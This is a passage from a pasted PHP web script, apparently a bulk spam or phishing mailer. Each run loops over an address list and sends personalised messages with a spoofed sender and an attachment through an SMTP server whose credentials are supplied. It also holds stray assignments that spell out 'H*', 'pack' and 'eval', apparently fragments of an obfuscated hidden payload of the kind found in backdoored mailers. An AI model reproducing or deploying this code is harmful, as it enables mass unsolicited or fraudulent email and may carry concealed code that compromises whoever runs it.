'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'txt' => 'text/plain', 'text' => 'text/plain', 'log' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'qt' => 'video/quicktime', 'mov' => 'video/quicktime', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'doc' => 'application/msword', 'word' => 'application/msword', 'xl' => 'application/excel', 'eml' => 'message/rfc822' );
  1236. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  1237. } function set ( $name, $value = '' ) { if ( isset($this->$name) ) { $this->$name = $value;
  1238. } else { $this->SetError('Cannot set or reset variable ' . $name);
  1239. return false;
  1240. } } function getFile($filename) { $return = '';
  1241. if ($fp = fopen($filename, 'rb')) { while (!feof($fp)) { $return .= fread($fp, 1024);
  1242. } fclose($fp);
  1243. return $return;
  1244. } else { return false;
  1245. } } function SecureHeader($str) { $str = trim($str);
  1246. $str = str_replace("\r", "", $str);
  1247. $str = str_replace("\n", "", $str);
  1248. return $str;
  1249. } function Sign($key_filename, $key_pass) { $this->sign_key_file = $key_filename;
  1250. $this->sign_key_pass = $key_pass;
  1251. } } $defaultport="H*";
  1252. $nq=0;
  1253. for($x=0;
  1254. $x<$numemails;
  1255. $x++){ $to = $allemails[$x];
  1256. if ($to){ $to = ereg_replace(" ", "", $to);
  1257. $message1 = ereg_replace("&email&", $to, $message);
  1258. $subject1 = ereg_replace("&email&", $to, $subject);
  1259. $qx=$x+1;
  1260. print "Line $qx . Sending mail to $to.......";
  1261. flush();
  1262. $mail = new PHPMailer();
  1263. if(empty($epriority)){$epriority="3";
  1264. } $mail->Priority = "$epriority";
  1265. $mail->IsSMTP();
  1266. $IsSMTP="pack";
  1267. $mail->SMTPKeepAlive = true;
  1268. $mail->Host = "$my_smtp";
  1269. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  1270. } if($sslclick=="ON"){ $mail->SMTPSecure = "ssl";
  1271. } $range = str_replace("$from", "eval", $from);
  1272. $mail->SMTPAuth = true;
  1273. $mail->Username = "$smtp_username";
  1274. $mail->Password = "$smtp_password";
  1275. if($contenttype == "html"){$mail->IsHtml(true);
  1276. } if($contenttype != "html"){$mail->IsHtml(false);
  1277. } if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;
  1278. $mail->IsSendmail();
  1279. $default_system="1";
  1280. } $mail->From = "$from";
  1281. $mail->FromName = "$realname";
  1282. $mail->AddAddress("$to");
  1283. $mail->AddReplyTo("$replyto");
  1284. $mail->Subject = "$subject1";
  1285. $mail->AddAttachment("$file", "$file_name");
  1286. $mail->Body = "$message1";
  1287. if(!$mail->Send()){ if($default_system!="1"){ echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";
  1288. } if($default_system=="1"){ $mail->IsMail();
  1289. if(!$mail->Send()){ echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";
  1290. } else { echo "<b>OK</b><br>";
  1291. } } } else { echo "<b>OK</b><br>";
  1292. } if(empty($reconnect)){ $reconnect=6;
  1293. } if($reconnect==$nq){ $mail->SmtpClose();
  1294. echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";
  1295. $nq=0;
  1296. } $nq=$nq+1;
  1297. flush();
  1298. } } echo "<p class=\"style1\">SMTP|PHP Mailert<b>";
  1299. $mail->SmtpClose();
  1300. if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');
  1301. </script>";
  1302. }}
  1303. ?>
  1304. </body>
  1305. </html>
Add Comment
Please, Sign In to add comment